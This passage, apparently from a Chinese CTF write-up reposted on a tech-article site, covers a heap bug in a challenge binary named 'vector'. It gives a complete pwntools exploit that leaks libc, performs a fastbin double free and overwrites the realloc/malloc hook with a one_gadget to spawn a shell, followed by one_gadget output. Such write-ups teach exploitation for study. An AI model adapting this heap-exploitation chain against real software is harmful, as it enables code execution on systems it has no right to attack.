这里就有漏洞了:如果index越界,则管理块会进行扩展,内容会同步到新管理块,但置0的只有旧管理块内的堆地址。

这会导致新管理块内出现两个指向同一位置的堆地址。

于是利用方法明确:使用上述漏洞,先扩展一次,再通过free,使存留的地址指向unsorted bins,通过show leak出libc地址,再故技重施,通过双地址进行fastbin double free,伪造0x7f堆块打malloc hook 来get shell

关于libc 2.31的0x7f劫持有一点点不一样 详见我这篇blog

这里也放上我的idb,方便后来人

vector.i64

exp如下:

# -*- coding:utf-8 -*-
from pwn import *   
import time                                             
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p  = process('/media/sf_Desktop/to_give_out/vector')
#p = remote('chuj.top',53039) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()
gdb.attach(p)
 



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims         :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))



def move(i,j):
    p.recvuntil('>> ')
    p.sendline('5')
    for i in range(i):
        p.recvuntil('is this one your want to move? [1/0]')
        p.sendline(str(0))
#本地与远程不同,远程字符为copy,记得修改一下
    time.sleep(0.2)
    p.recvuntil('is this one your want to move? [1/0]')
    p.sendline(str(1))
    p.recvuntil('which index you want move to?')
    p.sendline(str(j))

def delete(i):
    p.recvuntil('>> ')
    p.sendline('4')
    p.recvuntil('index?')
    p.sendline(str(i))

def show(i):
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('index?')
    p.sendline(str(i))

def new(i,b,c):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('index?')
    p.sendline(str(i))
    p.recvuntil('size?')
    p.sendline(str(b))
    p.recvuntil('content?')
    p.send(c)

def getsha256(s):
    sha256=hashlib.sha256()
    sha256.update(str(s).encode('utf-8'))
    ans=sha256.hexdigest()
    return ans

def hashburp(s):
    sha_ans=s
    ss = string.ascii_letters 
    flag = False
    for i in ss:
        if (flag):
        break
        for j in ss:
        if (flag):
            break
        for k in ss:
            if (flag):
                break
            for l in ss:
                xxxx = i + j + k + l
                if (sha_ans == getsha256(xxxx)):
                    print(xxxx)
                    return xxxx
def check():
    ru('sha256(????) == ')
    sha256=rc(64)
    #print(len(sha256))
    sha_str=hashburp(sha256)
    sa('input your ????> ',sha_str)

#check()

for i in range(8):
    new(i,256,'aaaa')
    time.sleep(0.2)

move(7,11)

for i in range(8):
    delete(i)
    time.sleep(0.2)
show(11)
libc_addr=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
print(hex(libc_addr))
reallochook=libc_addr+2014056
p1=libc_addr+644464
p2=libc_addr+646128
onegadget=libc_addr+0xe6c7e

for i in range(9):
    new(i,96,'aaaa')
    time.sleep(0.2)
move(8,18)
for i in range(7):
    delete(i)
    time.sleep(0.2)
delete(8)
time.sleep(0.2)
delete(7)
time.sleep(0.2)
delete(18)
time.sleep(0.2)
for i in range(7):
    new(i,96,'aaaa')
    time.sleep(0.2)
new(7,96,p64(reallochook-0x2b))
time.sleep(0.2)
new(8,96,'hack')
time.sleep(0.2)
new(9,96,'hack')
time.sleep(0.2)
new(10,96,'a'*0x23+p64(p1)+p64(p2)+p64(onegadget))
time.sleep(0.2)
#p.send()
p.interactive()
#后面直接手动add size为0的块触发onegadget

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-30 19:06:09  更:2022-03-30 19:09:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 5:35:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码